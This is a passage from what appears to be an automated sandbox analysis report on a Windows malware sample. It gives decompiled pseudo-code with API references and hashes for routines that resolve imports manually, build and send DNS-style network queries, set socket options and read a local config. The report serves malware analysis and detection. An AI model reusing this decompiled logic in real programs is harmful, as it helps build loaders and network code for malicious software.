					if(_t11 < 0x61 || _t11 > 0x7a) {
						if(_t11 < 0x41 || _t11 > 0x5a) {
							if(_t11 < 0x30 || _t11 > 0x39) {
								if(_t11 != 0x2e) {
									goto L10;
								}
							}
						}
						goto L9;
					} else {
						L9:
						 *_t13 = _t11;
						_t13 =  &(_t13[1]);
						L10:
						_t12 = _t12 + 1;
						_t11 =  *_t12;
						continue;
					}
				}
				_t9 = lstrlenA(_t14);
				if(_t14[_t9] == 0x2e) {
					_t9 = lstrlenA(_t14);
					_t14[_t9] = 0;
				}
				goto L15;
			}

0x0040ad1c
0x0040ad24
0x0040ad71
0x0040ad74
0x0040ad77
0x0040ad88
0x0040ad88
0x00000000
0x0040ad7f
0x0040ad26
0x0040ad29
0x0040ad2c
0x0040ad2f
0x0040ad55
0x0040ad35
0x0040ad3d
0x0040ad45
0x0040ad4d
0x00000000
0x00000000
0x0040ad4d
0x0040ad45
0x00000000
0x0040ad4f
0x0040ad4f
0x0040ad4f
0x0040ad51
0x0040ad52
0x0040ad52
0x0040ad53
0x00000000
0x0040ad53
0x0040ad35
0x0040ad60
0x0040ad66
0x0040ad69
0x0040ad6b
0x0040ad6b
0x00000000

APIs

gethostname.WS2_32(?,00000080), ref: 0040AD1C
lstrlenA.KERNEL32(00000000), ref: 0040AD60
lstrlenA.KERNEL32(00000000), ref: 0040AD69
lstrcpyA.KERNEL32(00000000,LocalHost), ref: 0040AD7F

Strings

LocalHost, xrefs: 0040AD79

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: lstrlen$gethostnamelstrcpy
String ID: LocalHost
API String ID: 3695455745-3154191806
Opcode ID: 8a17093f3d26383e77935b758fdadb31e519a4398e40a43d70c627834661f375
Instruction ID: 5e983dddb47fd7e780230f110e9d304ee880480ae48faa8370a3fb9af9ed59c3
Opcode Fuzzy Hash: 8a17093f3d26383e77935b758fdadb31e519a4398e40a43d70c627834661f375
Instruction Fuzzy Hash: FA0149208443895EDF3107289844BEA3F675F9670AF104077E4C0BB692E77C8893835F

Uniqueness

Uniqueness Score: -1.00%

Function 00406069, Relevance: 7.6, APIs: 5, Instructions: 121
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406069(_Unknown_base(*)()* _a4) {
				intOrPtr* _v8;
				signed int _v12;
				struct HINSTANCE__* _v16;
				intOrPtr _t47;
				_Unknown_base(*)()* _t48;
				_Unknown_base(*)()* _t50;
				struct HINSTANCE__* _t52;
				_Unknown_base(*)()* _t53;
				_Unknown_base(*)()* _t54;
				_Unknown_base(*)()* _t55;
				signed int _t56;
				_Unknown_base(*)()* _t59;
				_Unknown_base(*)()* _t62;
				_Unknown_base(*)()* _t63;
				intOrPtr _t69;
				_Unknown_base(*)()* _t76;
				_Unknown_base(*)()* _t77;
				intOrPtr* _t82;
				void* _t85;
				intOrPtr* _t87;
				_Unknown_base(*)()* _t89;

				_t82 = _a4;
				_t47 =  *_t82;
				_t3 = _t82 + 4; // 0x65e85621
				_t69 =  *_t3;
				_v12 = 1;
				if( *((intOrPtr*)(_t47 + 0x84)) != 0) {
					_t85 =  *((intOrPtr*)(_t47 + 0x80)) + _t69;
					_t48 = IsBadReadPtr(_t85, 0x14);
					__eflags = _t48;
					if(_t48 != 0) {
						L29:
						return _v12;
					}
					_t87 = _t85 + 0x10;
					_v8 = _t87;
					while(1) {
						_t50 =  *(_t87 - 4);
						__eflags = _t50;
						if(_t50 == 0) {
							goto L29;
						}
						_t52 = LoadLibraryA(_t50 + _t69);
						_v16 = _t52;
						__eflags = _t52 - 0xffffffff;
						if(_t52 == 0xffffffff) {
							L28:
							_t44 =  &_v12;
							 *_t44 = _v12 & 0x00000000;
							__eflags =  *_t44;
							goto L29;
						}
						_t10 = _t82 + 8; // 0x8bfffffa
						_t53 =  *_t10;
						__eflags = _t53;
						if(_t53 != 0) {
							_t14 = _t82 + 0xc; // 0x28408b06
							_t54 = E0040EBED(_t53, 4 +  *_t14 * 4);
						} else {
							_t11 = _t82 + 0xc; // 0x28408b06
							_t54 = E0040EBCC(4 +  *_t11 * 4);
						}
						 *(_t82 + 8) = _t54;
						__eflags = _t54;
						if(_t54 == 0) {
							goto L28;
						} else {
							_t18 = _t82 + 0xc; // 0x28408b06
							 *((intOrPtr*)(_t54 +  *_t18 * 4)) = _v16;
							 *(_t82 + 0xc) =  *(_t82 + 0xc) + 1;
							_t55 =  *(_t87 - 0x10);
							__eflags = _t55;
							if(_t55 == 0) {
								_t89 =  *_t87 + _t69;
								__eflags = _t89;
								_t76 = _t89;
							} else {
								_t89 = _t55 + _t69;
								_t76 =  *_v8 + _t69;
							}
							_t56 =  *_t89;
							__eflags = _t56;
							if(_t56 == 0) {
								L25:
								__eflags = _v12;
								if(_v12 == 0) {
									goto L29;
								}
								_v8 = _v8 + 0x14;
								_t59 = IsBadReadPtr(_v8 + 0xfffffff0, 0x14);
								__eflags = _t59;
								if(_t59 == 0) {
									_t87 = _v8;
									continue;
								}
								goto L29;
							} else {
								_a4 = _t76;
								_a4 = _a4 - _t89;
								__eflags = _t56;
								do {
									if(__eflags >= 0) {
										_t62 = GetProcAddress(_v16, _t56 + _t69 + 2);
										__eflags = _t62;
										if(_t62 == 0) {
											L21:
											_t63 = _a4;
											__eflags =  *(_t63 + _t89);
											if( *(_t63 + _t89) == 0) {
												_t38 =  &_v12;
												 *_t38 = _v12 & 0x00000000;
												__eflags =  *_t38;
												goto L25;
											}
											goto L22;
										}
										_t77 = _a4;
										__eflags = _t62 -  *(_t77 + _t89);
										if(_t62 ==  *(_t77 + _t89)) {
											goto L21;
										}
										L20:
										 *(_t77 + _t89) = _t62;
										goto L21;
									}
									_t62 = GetProcAddress(_v16, _t56 & 0x0000ffff);
									_t77 = _a4;
									goto L20;
									L22:
									_t89 = _t89 + 4;
									_t56 =  *_t89;
									__eflags = _t56;
								} while (__eflags != 0);
								goto L25;
							}
						}
					}
					goto L29;
				}
				return 1;
			}

0x00406071
0x00406074
0x0040607c
0x0040607c
0x00406082
0x00406087
0x00406099
0x0040609c
0x004060a2
0x004060a4
0x004061b2
0x00000000
0x004061b5
0x004060aa
0x004060ad
0x004060b5
0x004060b5
0x004060b8
0x004060ba
0x00000000
0x00000000
0x004060c3
0x004060c9
0x004060cc
0x004060cf
0x004061ae
0x004061ae
0x004061ae
0x004061ae
0x00000000
0x004061ae
0x004060d5
0x004060d5
0x004060d8
0x004060da
0x004060ee
0x004060fa
0x004060dc
0x004060dc
0x004060e7
0x004060e7
0x00406101
0x00406104
0x00406106
0x00000000
0x0040610c
0x0040610c
0x00406112
0x00406115
0x00406118
0x0040611b
0x0040611d
0x0040612d
0x0040612d
0x0040612f
0x0040611f
0x0040611f
0x00406127
0x00406127
0x00406131
0x00406133
0x00406135
0x0040618b
0x0040618b
0x0040618f
0x00000000
0x00000000
0x00406191
0x0040619e
0x004061a4
0x004061a6
0x004060b2
0x00000000
0x004060b2
0x00000000
0x00406137
0x00406137
0x0040613a
0x0040613d
0x0040613f
0x0040613f
0x0040615e
0x00406164
0x00406166
0x00406173
0x00406173
0x00406176
0x0040617a
0x00406187
0x00406187
0x00406187
0x00000000
0x00406187
0x00000000
0x0040617a
0x00406168
0x0040616b
0x0040616e
0x00000000
0x00000000
0x00406170
0x00406170
0x00000000
0x00406170
0x0040614a
0x00406150
0x00000000
0x0040617c
0x0040617c
0x0040617f
0x00406181
0x00406181
0x00000000
0x00406185
0x00406135
0x00406106
0x00000000
0x004060b5
0x00000000

APIs

IsBadReadPtr.KERNEL32(?,00000014,00000000,?,00000000,?,004064CF,00000000), ref: 0040609C
LoadLibraryA.KERNEL32(?,?,004064CF,00000000), ref: 004060C3
GetProcAddress.KERNEL32(?,00000014), ref: 0040614A
IsBadReadPtr.KERNEL32(-000000DC,00000014), ref: 0040619E

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: Read$AddressLibraryLoadProc
String ID:
API String ID: 2438460464-0
Opcode ID: beeb212f6d5b41c5424ed959fb710d65fbebcae36a96b2ee910fcd89165a7e78
Instruction ID: 2c66ad34c3d6fb1da92a891872b73c8746f5f3d5bf62d79dfacd6c24df0475f4
Opcode Fuzzy Hash: beeb212f6d5b41c5424ed959fb710d65fbebcae36a96b2ee910fcd89165a7e78
Instruction Fuzzy Hash: D5418C71A00105AFDB10CF58C884BAAB7B9EF14354F26807AE816EB3D1D738ED61CB84

Uniqueness

Uniqueness Score: -1.00%

Function 00402923, Relevance: 7.6, APIs: 5, Instructions: 107
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E00402923(void* __ecx, void* __esi, intOrPtr _a4) {
				signed int* _v8;
				signed int* _v12;
				signed int* _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				signed short _v28;
				short _v30;
				short _v32;
				char _v292;
				char _v296;
				void* __ebx;
				void* __edi;
				void* _t37;
				intOrPtr _t41;
				signed int* _t42;
				signed short _t53;
				signed int** _t62;
				void* _t67;
				void* _t70;
				intOrPtr _t71;
				intOrPtr* _t79;
				signed int* _t80;
				void* _t81;
				void* _t82;
				void* _t83;

				_t81 = __esi;
				_t37 = 0xc;
				_v8 = 0;
				_v16 = 0;
				if(_a4 >= _t37) {
					_t67 = E00402816(_t37, __esi, __ecx, __esi, _a4);
					if(_t67 < _a4) {
						_t76 =  *(__esi + 6) & 0x0000ffff;
						_t41 = ( *(__esi + 0xa) & 0x0000ffff) + ( *(__esi + 8) & 0x0000ffff) + ( *(__esi + 6) & 0x0000ffff);
						_v20 = _t41;
						_v12 = 0;
						if(_t41 <= 0) {
							L13:
							_t42 = _v16;
							L14:
							return _t42;
						}
						while(_t67 < _a4) {
							E0040EE2A(_t76,  &_v296, 0, 0x114);
							_t70 = E00402871(_t67, _t81, _t76,  &_v292, _a4);
							_t15 = _t70 + 0xa; // 0xa
							_t83 = _t82 + 0x10;
							if(_t15 >= _a4) {
								goto L13;
							}
							_t79 = __imp__#15;
							_v32 =  *_t79( *(_t70 + _t81) & 0x0000ffff);
							_v30 =  *_t79( *(_t70 + _t81 + 2) & 0x0000ffff);
							_t53 =  *_t79( *(_t70 + _t81 + 8) & 0x0000ffff);
							_v28 = _t53;
							_t71 = _t70 + 0xa;
							_v24 = _t71;
							if((_t53 & 0x0000ffff) + _t71 > _a4) {
								goto L13;
							}
							_t80 = HeapAlloc(GetProcessHeap(), 0, 0x124);
							if(_t80 == 0) {
								goto L13;
							}
							E0040EE2A(_t76, _t80, 0, 0x124);
							E0040EE08(_t80,  &_v296, 0x114);
							 *_t80 =  *_t80 & 0x00000000;
							_t67 = _t71 + (_v28 & 0x0000ffff);
							_t62 = _v8;
							_t82 = _t83 + 0x18;
							_v8 = _t80;
							if(_t62 != 0) {
								 *_t62 = _t80;
							} else {
								_v16 = _t80;
							}
							_v12 = _v12 + 1;
							if(_v12 < _v20) {
								continue;
							} else {
								goto L13;
							}
						}
						goto L13;
					}
					_t42 = 0;
					goto L14;
				}
				return 0;
			}

0x00402923
0x00402931
0x00402932
0x00402935
0x0040293b
0x00402950
0x00402957
0x0040296a
0x0040296e
0x00402970
0x00402973
0x00402978
0x00402a5b
0x00402a5b
0x00402a5e
0x00000000
0x00402a5e
0x0040297e
0x00402995
0x004029ac
0x004029ae
0x004029b1
0x004029b7
0x00000000
0x00000000
0x004029c1
0x004029ca
0x004029d6
0x004029e0
0x004029e2
0x004029e6
0x004029ee
0x004029f4
0x00000000
0x00000000
0x00402a0a
0x00402a0e
0x00000000
0x00000000
0x00402a18
0x00402a2a
0x00402a33
0x00402a36
0x00402a38
0x00402a3b
0x00402a3e
0x00402a43
0x00402a4a
0x00402a45
0x00402a45
0x00402a45
0x00402a4c
0x00402a55
0x00000000
0x00000000
0x00000000
0x00000000
0x00402a55
0x00000000
0x0040297e
0x00402959
0x00000000
0x00402959
0x00000000

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d7be85cd36f3663e93a2a6933a3c0dd16534f9087a3b26c869853f350d83737
Instruction ID: 0bfd2bf0caf83722c61519a9099cbfb16c0865a6a5fe5c2769a2057d5fd36f2a
Opcode Fuzzy Hash: 7d7be85cd36f3663e93a2a6933a3c0dd16534f9087a3b26c869853f350d83737
Instruction Fuzzy Hash: 2931A471A00219ABCB109FA6CD85ABEB7F4FF48705F10846BF504F62C1E7B8D6418B68

Uniqueness

Uniqueness Score: -1.00%

Function 0040E654, Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 96
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E654(intOrPtr _a4, intOrPtr _a8, CHAR* _a12) {
				intOrPtr _t30;
				CHAR* _t31;
				int _t34;
				intOrPtr* _t41;
				intOrPtr* _t42;
				void* _t47;
				intOrPtr _t51;
				int _t52;
				void* _t53;
				intOrPtr _t54;
				void* _t55;
				char _t59;

				E0040DD05();
				_t41 = 0x4120e8;
				_t55 =  *0x4120e8 - 0x4120e8; // 0x4120e8
				if(_t55 == 0) {
					L9:
					_t53 = E0040EBCC(0x1c);
					if(_t53 != 0) {
						 *((intOrPtr*)(_t53 + 0x18)) = _a4;
						 *((intOrPtr*)(_t53 + 4)) = _a8;
						E00403E8F(0x4120e8, _t53);
						__eflags = _a12;
						if(_a12 == 0) {
							 *(_t53 + 8) = 0;
						} else {
							_t15 = _t53 + 8; // 0x8
							lstrcpynA(_t15, _a12, 0xf);
							 *((char*)(_t53 + 0x17)) = 0;
						}
						L15:
						_t42 = 0x4120e4;
						__eflags =  *0x4120e4 - _t42; // 0x4120e4
						if(__eflags == 0) {
							L22:
							_t47 = 1;
							L11:
							E0040DD69();
							return _t47;
						} else {
							goto L16;
						}
						do {
							L16:
							_t30 =  *((intOrPtr*)(_t53 + 4));
							_t51 =  *_t42;
							__eflags = _t30 - 0xffffffff;
							if(_t30 == 0xffffffff) {
								L18:
								_t20 = _t53 + 8; // 0x8
								_t31 = _t20;
								__eflags =  *_t31;
								if( *_t31 == 0) {
									L20:
									_t52 = _t51 + 0xc;
									__eflags = _t52;
									 *((intOrPtr*)(_t53 + 0x18))(_t52, 1);
									goto L21;
								}
								_t34 = lstrcmpA(_t51 + 0x10, _t31);
								__eflags = _t34;
								if(_t34 != 0) {
									goto L21;
								}
								goto L20;
							}
							__eflags =  *(_t51 + 0xc) - _t30;
							if( *(_t51 + 0xc) != _t30) {
								goto L21;
							}
							goto L18;
							L21:
							_t42 =  *_t42;
							__eflags =  *_t42 - 0x4120e4;
						} while ( *_t42 != 0x4120e4);
						goto L22;
					}
					_t47 = 0;
					goto L11;
				} else {
					goto L1;
				}
				do {
					L1:
					_t54 =  *_t41;
					if( *((intOrPtr*)(_t54 + 0x18)) == _a4 &&  *((intOrPtr*)(_t54 + 4)) == _a8) {
						if(_a12 != 0) {
							_t8 = _t54 + 8; // 0x73b743e8
							__eflags = lstrcmpA(_t8, _a12);
						} else {
							_t59 =  *(_t54 + 8);
						}
						if(_t59 == 0) {
							break;
						} else {
							goto L7;
						}
					}
					L7:
					_t41 =  *_t41;
					_t53 = 0;
				} while ( *_t41 != 0x4120e8);
				if(_t53 != 0) {
					goto L15;
				}
				goto L9;
			}

0x0040e65a
0x0040e664
0x0040e666
0x0040e66c
0x0040e6a9
0x0040e6b0
0x0040e6b5
0x0040e6c8
0x0040e6d0
0x0040e6d3
0x0040e6d8
0x0040e6de
0x0040e6f5
0x0040e6e0
0x0040e6e5
0x0040e6e9
0x0040e6ef
0x0040e6ef
0x0040e6f9
0x0040e6f9
0x0040e6fe
0x0040e704
0x0040e741
0x0040e743
0x0040e6b9
0x0040e6b9
0x0040e6c4
0x00000000
0x00000000
0x00000000
0x0040e706
0x0040e706
0x0040e706
0x0040e709
0x0040e70b
0x0040e70e
0x0040e715
0x0040e715
0x0040e715
0x0040e718
0x0040e71b
0x0040e72c
0x0040e72c
0x0040e72c
0x0040e732
0x00000000
0x0040e736
0x0040e722
0x0040e728
0x0040e72a
0x00000000
0x00000000
0x00000000
0x0040e72a
0x0040e710
0x0040e713
0x00000000
0x00000000
0x00000000
0x0040e737
0x0040e737
0x0040e739
0x0040e739
0x00000000
0x0040e706
0x0040e6b7
0x00000000
0x00000000
0x00000000
0x00000000
0x0040e66e
0x0040e66e
0x0040e66e
0x0040e676
0x0040e684
0x0040e68f
0x0040e699
0x0040e686
0x0040e686
0x0040e686
0x0040e69b
0x00000000
0x00000000
0x00000000
0x00000000
0x0040e69b
0x0040e69d
0x0040e69d
0x0040e69f
0x0040e6a1
0x0040e6a7
0x00000000
0x00000000
0x00000000

APIs

Part of subcall function 0040DD05: GetTickCount.KERNEL32 ref: 0040DD0F
Part of subcall function 0040DD05: InterlockedExchange.KERNEL32(004136B4,00000001), ref: 0040DD44
Part of subcall function 0040DD05: GetCurrentThreadId.KERNEL32 ref: 0040DD53

lstrcmpA.KERNEL32(73B743E8,00000000,?,73B743E0,00000000,?,00405EC1), ref: 0040E693
lstrcpynA.KERNEL32(00000008,00000000,0000000F,?,73B743E0,00000000,?,00405EC1), ref: 0040E6E9
lstrcmpA.KERNEL32(?,00000008,?,73B743E0,00000000,?,00405EC1), ref: 0040E722

Strings

A, xrefs: 0040E6F9, 0040E6FE, 0040E739
A, xrefs: 0040E65F, 0040E666, 0040E6CF, 0040E731

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: lstrcmp$CountCurrentExchangeInterlockedThreadTicklstrcpyn
String ID: A$ A
API String ID: 3343386518-686259309
Opcode ID: 951ece8c2afd944643beef7ac70d50e077dd33d1a65e809f7a70b3905a3fc363
Instruction ID: 47b803fc1c440cad9c550ff35358ad860d5bc2ca4051ff98ce99c32b6473ed9c
Opcode Fuzzy Hash: 951ece8c2afd944643beef7ac70d50e077dd33d1a65e809f7a70b3905a3fc363
Instruction Fuzzy Hash: CC31C031600301DBCB318F66E8847977BE4AB24314F508D3BE555A7690D779E8A0CB89

Uniqueness

Uniqueness Score: -1.00%

Function 004026FF, Relevance: 7.6, APIs: 5, Instructions: 96
networkCOMMON

Download Yara Rule

C-Code - Quality: 26%

			E004026FF(intOrPtr* __eax, intOrPtr _a4, intOrPtr _a8, long _a12) {
				long* _t33;
				long _t35;
				long* _t36;
				long _t37;
				long _t38;
				short _t39;
				short _t40;
				char _t42;
				intOrPtr _t43;
				void* _t48;
				long* _t49;
				long* _t51;
				long* _t52;
				long* _t53;
				long* _t54;
				void* _t55;
				long* _t56;
				long* _t57;
				long* _t60;
				intOrPtr* _t63;
				intOrPtr* _t65;
				void* _t66;

				_t65 = __eax;
				_t33 =  *0x412bf8; // 0x0
				_t42 = 0;
				if(_t33 == 0) {
					_t33 = E0040EBCC(0x400);
					_pop(_t48);
					 *0x412bf8 = _t33;
				}
				E0040EE2A(_t48, _t33, _t42, 0x400);
				_t35 = GetTickCount();
				_t49 =  *0x412bf8; // 0x0
				_t63 = __imp__#9;
				 *_t49 = _t35;
				_t36 =  *0x412bf8; // 0x0
				_t36[0] = _a12;
				_t37 =  *_t63(1);
				_t51 =  *0x412bf8; // 0x0
				_t51[1] = _t37;
				_t52 =  *0x412bf8; // 0x0
				_t38 = 0;
				_t52[1] = 0;
				_t53 =  *0x412bf8; // 0x0
				_t53[2] = 0;
				_t54 =  *0x412bf8; // 0x0
				_t54[2] = 0;
				_t60 =  *0x412bf8; // 0x0
				_t55 = 0;
				if( *_t65 != _t42) {
					do {
						_t43 =  *((intOrPtr*)(_t38 + _t65));
						_a12 = _t38;
						while(_t43 != 0) {
							if(_t43 != 0x2e) {
								_a12 = _a12 + 1;
								_t43 =  *((intOrPtr*)(_a12 + _t65));
								continue;
							}
							break;
						}
						 *((char*)(_t55 +  &(_t60[3]))) = _a12 - _t38;
						_t55 = _t55 + 1;
						while(_t38 < _a12) {
							 *((char*)(_t55 +  &(_t60[3]))) =  *((intOrPtr*)(_t38 + _t65));
							_t55 = _t55 + 1;
							_t38 = _t38 + 1;
						}
						if( *((char*)(_t38 + _t65)) == 0x2e) {
							_t38 = _t38 + 1;
						}
						_t42 = 0;
					} while ( *((intOrPtr*)(_t38 + _t65)) != 0);
				}
				 *((char*)(_t55 +  &(_t60[3]))) = _t42;
				_t24 = _t55 + 0xd; // 0xf
				_t66 = _t24;
				_t39 =  *_t63(0xf);
				_t56 =  *0x412bf8; // 0x0
				 *((short*)(_t56 + _t66)) = _t39;
				_t40 =  *_t63(1);
				_t57 =  *0x412bf8; // 0x0
				 *((short*)(_t57 + _t66 + 2)) = _t40;
				__imp__#20(_a4, 0x412bf8, _t66 + 4, _t42, _a8, 0x10);
				return 0 | _t40 <= 0x00000000;
			}

0x00402704
0x00402706
0x0040270b
0x00402715
0x00402718
0x0040271d
0x0040271e
0x0040271e
0x00402726
0x0040272e
0x00402734
0x0040273a
0x00402740
0x00402743
0x0040274e
0x00402752
0x00402754
0x0040275a
0x0040275e
0x00402764
0x00402766
0x0040276a
0x00402770
0x00402774
0x0040277a
0x0040277e
0x00402784
0x00402788
0x0040278a
0x0040278a
0x0040278d
0x004027a0
0x00402795
0x00402797
0x0040279d
0x00000000
0x0040279d
0x00000000
0x00402795
0x004027a9
0x004027ad
0x004027b9
0x004027b3
0x004027b7
0x004027b8
0x004027b8
0x004027c2
0x004027c4
0x004027c4
0x004027c5
0x004027c7
0x0040278a
0x004027ce
0x004027d2
0x004027d2
0x004027d5
0x004027d7
0x004027df
0x004027e3
0x004027e5
0x004027f0
0x00402802
0x00402815

APIs

GetTickCount.KERNEL32 ref: 0040272E
htons.WS2_32(00000001), ref: 00402752
htons.WS2_32(0000000F), ref: 004027D5
htons.WS2_32(00000001), ref: 004027E3
sendto.WS2_32(?,00412BF8,00000009,00000000,00000010,00000010), ref: 00402802

Part of subcall function 0040EBCC: GetProcessHeap.KERNEL32(00000000,00000000,80000001,0040EBFE,7FFF0001,?,0040DB55,7FFF0001), ref: 0040EBD3
Part of subcall function 0040EBCC: RtlAllocateHeap.NTDLL(00000000,?,0040DB55,7FFF0001), ref: 0040EBDA

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: htons$Heap$AllocateCountProcessTicksendto
String ID:
API String ID: 1128258776-0
Opcode ID: 6299894b8f3bc0cc0dfae645a3d09159b09bee40e3d6069153e68f679ff52250
Instruction ID: e317574a351225f02cdc10e669db3389ba019fd1a924c3d0ab3f78f3d9a30560
Opcode Fuzzy Hash: 6299894b8f3bc0cc0dfae645a3d09159b09bee40e3d6069153e68f679ff52250
Instruction Fuzzy Hash: B8313A342483969FD7108F74DD80AA27760FF19318B19C07EE855DB3A2D6B6E892D718

Uniqueness

Uniqueness Score: -1.00%

Function 0040F26D, Relevance: 7.6, APIs: 5, Instructions: 63COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(00000000,0000FFFF,00000004,00000000,00000004), ref: 0040F2A0
setsockopt.WS2_32(00000004,0000FFFF,00001005,00000004,00000004), ref: 0040F2C0
setsockopt.WS2_32(00000004,0000FFFF,00001006,00000004,00000004), ref: 0040F2DD
setsockopt.WS2_32(?,00000006,00000001,?,00000004), ref: 0040F2EC
setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 0040F2FD

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: setsockopt
String ID:
API String ID: 3981526788-0
Opcode ID: 8b4be0266ee07c3102769aa2bfb0f3fbe40b153d7f42fbd5c93fb3948aedae23
Instruction ID: 54276ff97121d9260d4f5268cf3942b14174050ddbce03adff589c8218e6c2bb
Opcode Fuzzy Hash: 8b4be0266ee07c3102769aa2bfb0f3fbe40b153d7f42fbd5c93fb3948aedae23
Instruction Fuzzy Hash: 6B110AB2A40248BAEF11DF94CD85FDE7FBCEB44751F008066BB04EA1D0E6B19A44CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00402419, Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 45
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402419(void* __ecx, CHAR* _a4, intOrPtr _a8, CHAR* _a12) {
				int _v8;
				int _t18;
				intOrPtr _t20;
				CHAR* _t21;
				int _t30;
				CHAR* _t36;

				_t18 = lstrlenA(_a12);
				_t36 = _a4;
				_v8 = _t18;
				_t20 = _a8 + _t36;
				_a8 = _t20;
				if(_t36 >= _t20) {
					L5:
					_t21 = 0;
				} else {
					while(1) {
						_t30 = lstrlenA(_t36);
						_t7 =  &(_t36[1]); // 0x1
						_a4 = _t30 + _t7;
						if(_v8 == _t30 && lstrcmpiA(_t36, _a12) == 0 && _a4 < _a8) {
							break;
						}
						_t36 =  &(_t36[lstrlenA(_a4) + _t30 + 2]);
						if(_t36 < _a8) {
							continue;
						} else {
							goto L5;
						}
						goto L6;
					}
					_t21 = _a4;
				}
				L6:
				return _t21;
			}

0x00402429
0x0040242b
0x0040242e
0x00402434
0x00402436
0x0040243b
0x00402474
0x00402474
0x0040243d
0x0040243d
0x00402440
0x00402442
0x00402446
0x0040244c
0x00000000
0x00000000
0x0040246b
0x00402472
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00402472
0x0040247b
0x0040247b
0x00402476
0x0040247a

APIs

lstrlenA.KERNEL32(?,localcfg,?,00000000,?,?,00402491,?,?,?,0040E844,-00000030,?,?,?,00000001), ref: 00402429
lstrlenA.KERNEL32(?,?,00402491,?,?,?,0040E844,-00000030,?,?,?,00000001,00401E3D,00000001,localcfg,lid_file_upd), ref: 0040243E
lstrcmpiA.KERNEL32(?,?,?,00402491,?,?,?,0040E844,-00000030,?,?,?,00000001,00401E3D,00000001,localcfg), ref: 00402452
lstrlenA.KERNEL32(?,?,00402491,?,?,?,0040E844,-00000030,?,?,?,00000001,00401E3D,00000001,localcfg,lid_file_upd), ref: 00402467

Strings

localcfg, xrefs: 0040241F

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcmpi
String ID: localcfg
API String ID: 1808961391-1857712256
Opcode ID: e0652b8e6b882c26303073c97bc729d70adad1496f82cefeb83b9b40d862f6ea
Instruction ID: 10b525c6ae3f8891cd48fd25e34f392daf9ed257baad57177c8ccf48abf1fcea
Opcode Fuzzy Hash: e0652b8e6b882c26303073c97bc729d70adad1496f82cefeb83b9b40d862f6ea
Instruction Fuzzy Hash: B4011A31600218EFCF11EF69DD888DE7BA9EF44354B01C436E859A7250E3B4EA408A98

Uniqueness

Uniqueness Score: -1.00%

Function 004377C4, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00437823
_memset.LIBCMT ref: 004378AC
__invalid_parameter.LIBCMTD ref: 0043790B

Strings

P, xrefs: 00437920

Memory Dump Source

Source File: 00000013.00000002.803277603.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_415000_E2A6.jbxd

Similarity

API ID: _memset$__invalid_parameter
String ID: P
API String ID: 2178901135-3110715001
Opcode ID: 8b26e8b53f1f24f86e931efc2ac07585c9b2c1ddbc14a11a5e78a164a6d146b8
Instruction ID: 9c9b10c4b359bd814e624f316c2fd4ef22cd4a6ab3544fb8bb8b81997631d433
Opcode Fuzzy Hash: 8b26e8b53f1f24f86e931efc2ac07585c9b2c1ddbc14a11a5e78a164a6d146b8
Instruction Fuzzy Hash: 4741CDB0D04309EBDB28DF58C8497AE7760FB48315F10966AE9B82B3D0D3788951CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0040E52E, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 111
fileCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E0040E52E(void* __edx, void* __eflags) {
				long _v4;
				void* __ecx;
				void* _t9;
				void* _t11;
				void* _t17;
				long _t20;
				void* _t23;
				int _t24;
				void* _t28;
				void* _t32;
				void* _t37;
				void* _t40;
				void* _t44;

				_t44 = __eflags;
				_t32 = __edx;
				E0040DD05();
				_t28 = E0040DBCF(_t44, 0x80000000, 3);
				_pop(_t31);
